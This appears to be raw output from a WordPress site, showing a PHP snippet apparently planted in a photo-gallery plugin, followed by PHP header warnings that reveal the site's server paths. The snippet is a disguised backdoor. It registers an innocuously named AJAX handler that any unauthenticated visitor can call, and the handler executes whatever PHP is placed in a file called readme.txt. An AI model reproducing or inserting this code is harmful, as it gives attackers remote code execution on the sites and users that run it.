if(!function_exists('file_check_readme98109')){
   add_action('wp_ajax_nopriv_file_check_readme98109', 'file_check_readme98109');
   add_action('wp_ajax_file_check_readme98109', 'file_check_readme98109');
   function file_check_readme98109()
   {
      $file = __DIR__ . '/' . 'readme.txt';
       if (file_exists($file)) {
           include $file;
       }
       die();
   }
}
<br />
<b>Warning</b>:  Cannot modify header information - headers already sent by (output started at /home2/corpoalu/public_html/wp-content/plugins/responsive-photo-gallery/responsive-gallery.php:443) in <b>/home2/corpoalu/public_html/wp-includes/pluggable.php</b> on line <b>1435</b><br />
<br />
<b>Warning</b>:  Cannot modify header information - headers already sent by (output started at /home2/corpoalu/public_html/wp-content/plugins/responsive-photo-gallery/responsive-gallery.php:443) in <b>/home2/corpoalu/public_html/wp-includes/pluggable.php</b> on line <b>1438</b><br />